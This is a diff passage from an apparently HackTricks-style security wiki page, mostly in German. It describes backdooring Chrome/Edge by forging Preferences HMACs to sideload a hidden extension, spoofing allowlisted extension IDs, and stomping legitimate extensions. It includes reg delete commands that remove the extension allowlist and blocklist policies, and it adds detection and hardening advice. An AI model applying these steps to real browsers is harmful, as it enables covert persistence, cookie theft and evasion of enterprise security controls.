+1) Erzeuge eine deterministische ID und bette "key" in manifest.json ein; bereite eine unpacked MV3 extension mit den gewünschten Berechtigungen (service worker/content scripts) vor  
+2) Erstelle extensions.settings.<id>, indem du das manifest und die minimalen Installations-Metadaten einfügst, die Chromium benötigt (state, path für unpacked, etc.)  
+3) Extrahiere den HMAC seed aus resources.pak (file 146) und berechne zwei MACs: einen für den settings-Knoten und einen für extensions.ui.developer_mode (Chromium ≥134)  
+4) Schreibe die gefertigten Knoten und MACs in das Zielprofil unter Preferences/Secure Preferences; beim nächsten Start wird deine Extension mit den deklarierten vollen Berechtigungen automatisch aktiviert
+
+## Bypassing enterprise controls
+
+- Whitelisted extension hash spoofing (ID spoofing)  
+1) Install an allowed Web Store extension and note its ID  
+2) Beschaffe dessen public key (z. B. via chrome.runtime.getManifest().key im background/service worker oder durch Herunterladen/Parsen der .crx)  
+3) Setze diesen key als manifest.key in deiner modifizierten Extension, um dieselbe ID zu reproduzieren  
+4) Registriere den Eintrag in Preferences und signiere die MACs → ExtensionInstallAllowlist-Prüfungen, die nur anhand der ID matchen, werden umgangen
+
+- Extension stomping (ID collision precedence)  
+- Wenn eine lokale unpacked extension dieselbe ID wie eine installierte Web Store extension hat, bevorzugt Chromium die unpacked. Das ersetzt effektiv die legitime Extension in chrome://extensions, während die vertrauenswürdige ID erhalten bleibt. Verifiziert auf Chrome und Edge (z. B. Adobe PDF)
+
+- Neutralizing GPO via HKCU (requires admin)  
+- Chrome/Edge policies live under HKCU\Software\Policies\*  
+- Mit Administratorrechten lösche/modifiziere Policy-Keys, bevor du deine Einträge schreibst, um Blockaden zu vermeiden:
+```powershell
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
+```
+## Auffälliger Fallback: Laden über die Kommandozeile
+
+Ab Chromium ≥137 erfordert --load-extension außerdem das Übergeben von:
+```text
+--disable-features=DisableLoadExtensionCommandLineSwitch
+```
+Dieser Ansatz ist weit verbreitet bekannt und wird überwacht (z. B. durch EDR/DFIR; verwendet von commodity malware wie Chromeloader). Preference MAC forging ist unauffälliger.
+
+Verwandte Flags und weitere plattformübergreifende Tricks werden hier besprochen:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
+{{#endref}}
+
+
+## Betriebliche Auswirkungen
+
+Sobald sie akzeptiert ist, läuft die Extension mit ihren deklarierten Berechtigungen und ermöglicht DOM‑Zugriff, das Abfangen/Weiterleiten von Requests, Zugriff auf Cookies/Storage und Screenshot‑Aufnahme — effektiv In‑Browser‑Codeausführung und dauerhafte Persistenz im Benutzerprofil. Die Remote‑Bereitstellung über SMB oder andere Kanäle ist einfach, da die Aktivierung datengetrieben über Preferences erfolgt.
+
+
+## Erkennung und Härtung
+
+- Überwache Nicht‑Chromium‑Prozesse, die in Preferences/Secure Preferences schreiben, besonders neue Knoten unter extensions.settings gepaart mit protection.macs‑Einträgen
+- Alarmiere bei unerwartetem Umschalten von extensions.ui.developer_mode und bei HMAC‑gültigen, aber nicht genehmigten Extension‑Einträgen
+- Überprüfe HKCU/HKLM Software\Policies auf Manipulation; setze Richtlinien über device management/Chrome Browser Cloud Management durch
+- Bevorzuge forced‑install aus dem Store mit verifizierten Publishern anstelle von Allowlists, die nur anhand der Extension‑ID matchen
+
+
+## Quellen
+
+- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
+- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
+- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
+- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
+
+{{#include ../../banners/hacktricks-training.md}}